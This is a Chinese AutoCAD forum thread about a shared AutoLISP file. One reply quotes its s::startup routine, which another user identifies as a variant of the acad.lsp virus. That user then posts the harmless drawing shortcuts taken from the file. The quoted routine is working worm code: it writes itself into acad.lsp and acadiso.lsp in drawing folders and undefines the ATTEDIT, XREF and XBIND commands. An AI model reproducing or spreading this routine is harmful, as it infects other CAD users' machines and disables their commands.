[VBA程序]：不用加载的lsp

fox-hu

不用加载的lsp
放在cad的根目录中


删除附件   ---- eachy[/COLOR]

zhynt

倒！！！这个还用你说。

蔡钰林

文件内的这段程序有什么用？会自动生成acad.lsp和acadiso.lsp文件吗？

;=================acadiso自带的LSP===============================
;==================================================================
(defun s::startup (/ old_cmd path dwgpath mnlpath apppath oldacad
                   newacad nowdwg lspbj        wjm wjm1 wjqm wjqm1 wz ns1 ns2
                   )
  (setq old_cmd (getvar "cmdecho"))
  (setvar "cmdecho" 0)
  (setq path (findfile "base.dcl"))
  (setq path (substr path 1 (- (strlen path) 8)))
  (setq mnlpath (getvar "menuname"))
  (setq nowdwg (getvar "dwgname"))
  (setq wjqm (findfile nowdwg))
  (setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))
  (setq acadpath (findfile "acad.lsp"))
  (setq acadpath (substr acadpath 1 (- (strlen acadpath) 8)))
  (setq        ns1 ""
        ns2 ""
        )
  (setq lspbj 0)
  (setq wjqm (strcat path "acad.lsp"))
  (if (setq wjm (open wjqm "r"))
    (progn (while (setq wz (read-line wjm))
             (setq ns1 ns2)
             (setq ns2 wz)
             )
           (if (> (strlen ns1) 14)
             (if (= (substr ns1 8 7) "acadiso")
               (setq lspbj 1)
               )
             )
           (close wjm)
           )
    )
  (if (and (= acadpath dwgpath) (/= acadpath path))
    (progn (setq oldacad (findfile "acad.lsp"))
           (setq newacad (strcat path "acadiso.lsp"))
           (if (= lspbj 0)
             (progn (setq wjqm (strcat path "acad.lsp"))
                    (setq wjm (open wjqm "a"))
                    (write-line
                      (strcat "(load" (chr 34) "acadiso" (chr 34) ")")
                      wjm
                      )
                    (write-line "(princ)" wjm)
                    (close wjm)
                    )
             )
           (writeapp)
           )
    (progn (if (/= nowdwg "Drawing.dwg")
             (progn (setq oldacad (findfile "acadiso.lsp"))
                    (setq newacad (strcat dwgpath "acad.lsp"))
                    (writeapp)
                    )
             )
           )
    )
  (command "undefine" "attedit")
  (command "undefine" "xref")
  (command "undefine" "xbind")
  (setvar "cmdecho" old_cmd)
  (princ)
  )
(defun writeapp        ()
  (if (setq wjm1 (open newacad "w"))
    (progn (setq wjm (open oldacad "r"))
           (while (setq wz (read-line wjm)) (write-line wz wjm1))
           (close wjm)
           (close wjm1)
           )
    )
  )

xmchy

挺好的东西!不知道占不占很多的内存

覃海洋

不做个说明
再好的东西也没人用的
不做说明就好象一个人不善于表达
有能力也用处不大
开玩笑的 ~

ll_j

这是一个许多程序组合的程序，其中还包括acad.lsp病毒的变种（程序1510行以后，核心就是3楼所列出的代码）。
另外，文件名acadiso.lsp并不是自动加载文件，这是变种病毒使用的文件名，自动加载的文件名应该是acad.lsp。
现将程序中有用的部分编辑并贴出，同时贴出简单介绍（本人未测试）。同时要求“fox-hu”删除顶楼的附件（或斑竹帮助删除），否则有理由怀疑是传播病毒。

程序内容：[php]
局部放大镜 ss
局部放大镜 sss
Real Scale,用于画剖视图缩放图元时,维持标注尺寸不变 rs
沿指定方向多重复制对象，可以指定对象间距或数量 ds
以指定长度创建一条与已知线段平行的线段，类似OFFSET（等距线）命令 of
双向偏移（DOUBLE OFFSET），在任何一边创建所选实体的偏移实体 oo
命令行中改变文本实体的字符 cht
自动标注圆、椭圆、多边形和封闭多义线的面积 aat
产生一个两端带箭头的双点划折线，箭头和线宽可指定 sj
引出说明，“引出说明”字体的属性起决于Text Style中字体样式，颜色起决于当前层 tg
本程序绘制一个金属平板，带有指定数量和位置的螺栓孔 mb
本程序删除指定层上的所有实体，不论层的状态如何。通配符可以用于指定层 dla

图层编辑 sy ls cl
(defun c:my() (sly) (command "move" "p"""))  
(defun c:ey() (sly) (command "erase" "p"""))
(defun c:cpy() (sly) (command "copy" "p"""))
(defun c:cgy() (sly) (command "change" "p""""P"))
(defun c:miy() (sly) (command "mirror" "p"""))
(defun c:ary() (sly) (command "array" "p"""))
(defun c:scy() (sly) (command "scale" "p"""))
(defun c:roy() (sly) (command "rotate" "p"""))  

图层复制 cx
更改图层 cgc
复制所选对象到另一个层，不移动其原始位置 cf
复制到当前层 cgc
移动制定层上的所有实体 mla
画矩形 bx
画任意角度 hn
多重打断 bbb
自由打断 bk
屏幕“放大镜” zb
自动输入数字文本插入圆圈型标识 ab
自动输入数字或字母文本插入圆圈型标识 db
手动输入文本插入圆圈型标识 ddd
修改所选圆的直径 cd
若端点具有同样的x，y坐标，可以将多段直线连接在一起成为多义线 pej
角度阵列程序 aar


其它命令
(DEFUN C:up ()(COMMAND "DIM" "UP" ))
(DEFUN C:TTT ()(COMMAND "CIRCLE" "3P" "TAN" PAUSE "TAN" PAUSE "TAN" PAUSE))
(DEFUN C:TTR ()(COMMAND "CIRCLE" "TTR" ))
(defun c:2P()(command "circle" "2p"))
(defun c:3P()(command "ARC" "3p"))
(DEFUN C:LL ()(COMMAND "line" "tan" PAUSE "tan" ))
(DEFUN C:tt() (COMMAND "line" pause "tan" pause ""))
(DEFUN C:DY ()(COMMAND "LENGTHEN" "DY" ))
(DEFUN C:TO ()(COMMAND "LENGTHEN" "TO" ))
(DEFUN C:DE ()(COMMAND "LENGTHEN" "DE" ))
(DEFUN C:SP ()(COMMAND "STRETCH" "CP" ))
(DEFUN C:ZA ()(COMMAND "zoom" "A" ))
(DEFUN C:ZE ()(COMMAND "ZOOM" "E" ))
(DEFUN C:ZV() (COMMAND "ZOOM" "V"))
(DEFUN C:ZD() (COMMAND "'ZOOM" "D"))
(DEFUN C:ZW() (COMMAND "ZOOM" "W"))
(DEFUN C:ZP() (COMMAND "ZOOM" "P"))
(DEFUN C:UW() (COMMAND "UCS" "W"))
(DEFUN C:UB ()(COMMAND "UCS" "OB" ))
(defun c:uoo() (command "UCSICON" "ON" "UCS" "o" "int"))
(DEFUN C:UZ ()(COMMAND "UCS" "Z" ))
(DEFUN C:U5 ()(COMMAND "UCS" "Z" "5" ))
(DEFUN C:U10 ()(COMMAND "UCS" "Z" "10" ))
(DEFUN C:U15 ()(COMMAND "UCS" "Z" "15" ))
(DEFUN C:U20 ()(COMMAND "UCS" "Z" "20" ))
(DEFUN C:U30 ()(COMMAND "UCS" "Z" "30" ))
(DEFUN C:U45 ()(COMMAND "UCS" "Z" "45" ))
(DEFUN C:U60 ()(COMMAND "UCS" "Z" "60" ))
(DEFUN C:U70 ()(COMMAND "UCS" "Z" "70" ))
(DEFUN C:U3p ()(COMMAND "UCS" "3p" ))
(DEFUN C:HH ()(COMMAND "XLINE" "H" ))
(DEFUN C:VV ()(COMMAND "XLINE" "V" ))
(DEFUN C:FP ()(COMMAND "FILLET" "r" PAUSE)
              (COMMAND "FILLET" "p" PAUSE ))
(DEFUN C:f100 ()(COMMAND "FILLET" "R" "100" )(COMMAND "FILLET" ))
(DEFUN C:f20 ()(COMMAND "FILLET" "R" "20" )(COMMAND "FILLET" ))
(DEFUN C:f30 ()(COMMAND "FILLET" "R" "30" )(COMMAND "FILLET" ))
(DEFUN C:f40 ()(COMMAND "FILLET" "R" "40" )(COMMAND "FILLET" ))
(DEFUN C:f50 ()(COMMAND "FILLET" "R" "50" )(COMMAND "FILLET" ))
(DEFUN C:f60 ()(COMMAND "FILLET" "R" "60" )(COMMAND "FILLET" ))
(DEFUN C:f70 ()(COMMAND "FILLET" "R" "70" )(COMMAND "FILLET" ))
(DEFUN C:f80 ()(COMMAND "FILLET" "R" "80" )(COMMAND "FILLET" ))
(DEFUN C:f1 ()(COMMAND "FILLET" "R" "1" )(COMMAND "FILLET" ))
(DEFUN C:f2 ()(COMMAND "FILLET" "R" "2" )(COMMAND "FILLET" ))
(DEFUN C:f3 ()(COMMAND "FILLET" "R" "3" )(COMMAND "FILLET" ))
(DEFUN C:f4 ()(COMMAND "FILLET" "R" "4" )(COMMAND "FILLET" ))
(DEFUN C:f5 ()(COMMAND "FILLET" "R" "5" )(COMMAND "FILLET" ))
(DEFUN C:f6 ()(COMMAND "FILLET" "R" "6" )(COMMAND "FILLET" ))
(DEFUN C:f7 ()(COMMAND "FILLET" "R" "7" )(COMMAND "FILLET" ))
(DEFUN C:f8 ()(COMMAND "FILLET" "R" "8" )(COMMAND "FILLET" ))
(DEFUN C:f9 ()(COMMAND "FILLET" "R" "9" )(COMMAND "FILLET" ))
(DEFUN C:f10 ()(COMMAND "FILLET" "R" "10" )(COMMAND "FILLET" ))
(DEFUN C:Ch1 ()(COMMAND "CHAMFER" "D" "1" "")(COMMAND "CHAMFER" ))
(DEFUN C:Ch2 ()(COMMAND "CHAMFER" "D" "2" "")(COMMAND "CHAMFER" ))
(DEFUN C:Ch3 ()(COMMAND "CHAMFER" "D" "3" "")(COMMAND "CHAMFER" ))
(DEFUN C:Ch4 ()(COMMAND "CHAMFER" "D" "4" "")(COMMAND "CHAMFER" ))
(DEFUN C:Ch5 ()(COMMAND "CHAMFER" "D" "5" "")(COMMAND "CHAMFER" ))
(DEFUN C:Ch6 ()(COMMAND "CHAMFER" "D" "6" "")(COMMAND "CHAMFER" ))
(DEFUN C:Ch7 ()(COMMAND "CHAMFER" "D" "7" "")(COMMAND "CHAMFER" ))
(DEFUN C:Ch8 ()(COMMAND "CHAMFER" "D" "8" "")(COMMAND "CHAMFER" ))
(DEFUN C:Ch9 ()(COMMAND "CHAMFER" "D" "9" "")(COMMAND "CHAMFER" ))
(DEFUN C:Ch10 ()(COMMAND "CHAMFER" "D" "10" "")(COMMAND "CHAMFER" ))
(DEFUN C:Ch20 ()(COMMAND "CHAMFER" "D" "20" "")(COMMAND "CHAMFER" ))
(DEFUN C:Ch30 ()(COMMAND "CHAMFER" "D" "30" "")(COMMAND "CHAMFER" ))
(DEFUN C:Ch40 ()(COMMAND "CHAMFER" "D" "40" "")(COMMAND "CHAMFER" ))
(DEFUN C:Ch50 ()(COMMAND "CHAMFER" "D" "50" "")(COMMAND "CHAMFER" ))
(DEFUN C:Ch60 ()(COMMAND "CHAMFER" "D" "60" "")(COMMAND "CHAMFER" ))
(DEFUN C:Ch70 ()(COMMAND "CHAMFER" "D" "70" "")(COMMAND "CHAMFER" ))
(DEFUN C:Ch80 ()(COMMAND "CHAMFER" "D" "80" "")(COMMAND "CHAMFER" ))
(DEFUN C:Ch90 ()(COMMAND "CHAMFER" "D" "90" "")(COMMAND "CHAMFER" ))
(DEFUN C:Ch100 ()(COMMAND "CHAMFER" "D" "100" "")(COMMAND "CHAMFER" ))
(DEFUN C:Ch200 ()(COMMAND "CHAMFER" "D" "200" "")(COMMAND "CHAMFER" ))
(DEFUN C:Ch300 ()(COMMAND "CHAMFER" "D" "300" "")(COMMAND "CHAMFER" ))
(DEFUN C:Ch500 ()(COMMAND "CHAMFER" "D" "500" "")(COMMAND "CHAMFER" ))
(DEFUN C:m88 ()(COMMAND "insert" "m88" pause "" "" ""))
(DEFUN C:m66 ()(COMMAND "insert" "m66" pause "" "" ""))
(DEFUN C:m55 ()(COMMAND "insert" "m55" pause "" "" ""))
(DEFUN C:m44 ()(COMMAND "insert" "m44" pause "" "" ""))
(DEFUN C:L10 ()(COMMAND "insert" "L10" pause "" "" ""))
(DEFUN C:L8 ()(COMMAND "insert" "L8" pause "" "" ""))
(DEFUN C:L6 ()(COMMAND "insert" "L6" pause "" "" ""))
(DEFUN C:L5 ()(COMMAND "insert" "L5" pause "" "" ""))
(DEFUN C:L4 ()(COMMAND "insert" "L4" pause "" "" ""))
(DEFUN C:L3 ()(COMMAND "insert" "L3" pause "" "" ""))
(DEFUN C:DZ ()(COMMAND "insert" "DZ" pause "" "" ""))
(DEFUN C:FS ()(COMMAND "insert" "FS" pause "" "" ""))

(defun c:oe()(command "offset" pause pause pause "")
             (command "erase" "p" ""))
(defun c:od()(command "offset" pause pause pause "")
             (command "chprop" "l" "" "c" "BYLAYER" "lt" "dashed" ""))
(defun c:oj()(command "offset" pause pause pause "")
             (command "chprop" "l" "" "la" "o" ""))
(defun c:om()(command "offset" pause pause pause "")
             (command "chprop" "l" "" "la" "mm" ""))
(defun c:ol()(command "offset" pause pause pause "")
             (command "laycur" "l" ""))

(defun c:d0()(command "dimtoh" "0")(command "dim1" "up" pause ""))
(defun c:d1()(command "dimtoh" "1")(command "dim1" "up" pause ""))
(defun c:dn()(command "dim1" "n"))
(defun c:dl()(command "dim1" "l"))
(defun c:ltt()(command "_LEADER" pause pause  "A" "" "T"))
(defun c:lM()(command "_LEADER" pause pause pause "A" "" "" ""))
(defun c:lNN()(command "_LEADER" pause pause pause "A" "" "N"))

(DEFUN C:qs() (Command "_ZOOM" "E" "_PURGE" "a" "" "N" "LAYER" "ON" "*" "" "_qsave"))  
(DEFUN C:lP() (Command "LAYERP"))
(defun c:ds() (command "dimscale"))
(DEFUN C:dr() (COMMAND  "DIMORDINATE"))
(DEFUN C:df() (COMMAND "DIMLFAC"))
(DEFUN C:DEC() (Command "DIMDEC"))
(DEFUN C:DAC() (Command "DIMADEC"))
(DEFUN C:11() (Command "osmode"))
(DEFUN C:XO() (Command "XLINE" "O" ))
(DEFUN C:cr() (Command "select" pause "" "copy" "p" "" "0,0" "" "rotate" "p" ""))
(DEFUN C:cm() (Command "select" pause "copy" "p" "" "m" pause))
(DEFUN C:Xa() (Command "XLINE" "a"))
(DEFUN C:Xb() (Command "XLINE" "b"))
(DEFUN C:UM() (Command "UNDO" "M" ))
(DEFUN C:UD() (Command "UNDO" "B" ))
(DEFUN C:mn() (Command "move" "l" "" "0,8" ""))
(DEFUN C:bp() (COMMAND "-boundary" pause "" )
              (COMMAND "chprop" "l" "" "la" pause ""
                       "erase"  "c"  pause pause "R"  "L" ))
(DEFUN C:EF() (SSGET) (Command "ERASE" "P" "R" "L" ""))
(DEFUN C:ds1() (COMMAND "dimstyle" "r" "1"))
(DEFUN C:ds2() (COMMAND "dimstyle" "r" "2"))
(DEFUN C:ds3() (COMMAND "dimstyle" "r" "3"))
(DEFUN C:ds4() (COMMAND "dimstyle" "r" "4"))   
(DEFUN C:ly() (COMMAND "-LAYER" "ON" "*" ""))
(DEFUN C:ln()  (COMMAND "-LAYER" "S" pause "OFF" "*" "" ""))
(DEFUN C:lo() (COMMAND "-LAYER" "OFF" ))
(defun c:gm()(ssget)(command "chprop" "p" "" "la" "mm" ""))
(defun c:go()(ssget)(command "chprop" "p" "" "la" "o" ""))
(defun c:c3()(ssget)(command "chprop" "p" "" "c" "3" ""))
(defun c:c4()(ssget)(command "chprop" "p" "" "c" "4" ""))
(defun c:c5()(ssget)(command "chprop" "p" "" "c" "5" ""))
(defun c:c6()(ssget)(command "chprop" "p" "" "c" "6" ""))
(defun c:c7()(ssget)(command "chprop" "p" "" "c" "7" ""))
(defun c:c8()(ssget)(command "chprop" "p" "" "c" "8" ""))
(defun c:c250()(ssget)(command "chprop" "p" "" "c" "250" ""))
(defun c:po()(command "pedit" pause "" "j" "c" pause pause "" "")
             (command "offset" pause pause pause ""))
(defun c:pr()(command "pedit" pause "" "j" "c" pause pause "" "")
             (command "fillet" "r" pause)
             (command "fillet" "p" pause ))
(defun c:pj ()(command "pedit" pause "y" "j" "all" "" "")
(princ)
)
(defun c:ld()(command "linetype" "l" "center,divide,dashed" "" "")
             (command "ltscale" pause "")) ;??一次性调用中心线，虚线，双点划线
(defun c:sk()(command "skpoly" "1")(command "sketch" "0.01"))
(defun c:aa()(command "area" "e"))
(defun C:tp() (command "dimtol" "1" "dimtp"))
(defun C:tm() (command "dimtol" "1" "dimtm"))
(defun C:tf() (command "dimtol" "0"))
(defun C:tn() (command "dimtol" "1" "DIMTFAC" "0.7"))[/php]